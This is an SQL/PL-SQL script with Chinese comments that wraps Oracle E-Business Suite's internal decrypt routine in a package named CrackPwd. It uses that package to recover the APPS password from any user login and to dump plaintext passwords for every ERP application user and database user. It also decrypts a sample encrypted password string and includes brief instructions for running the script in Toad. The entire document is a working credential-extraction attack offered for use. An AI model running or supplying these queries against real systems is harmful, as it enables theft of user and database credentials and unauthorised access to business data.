--获得用户密码--------------- begin -------------------------------------------
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2;
END CrackPwd;
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
--6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user
--7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd
from APPS.fnd_oracle_userid fou order by fou.oracle_username
/*
4.通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
注: guestUserPwd :='GUEST/ORACLE';--Can any user password
上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行
5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
v_encrypted_pwd VARCHAR2 (100);
v_apps_pwd VARCHAR2 (100);
v_user_pwd VARCHAR (100);
BEGIN
v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get ENCRYPTED_USER_PASSWORD from fnd_user
IF v_apps_pwd IS NULL
THEN
v_apps_pwd := 'APPS';
END IF;
v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
DBMS_OUTPUT.put_line (v_user_pwd);
END;
*/
---------------------------------- end ---------------------------------------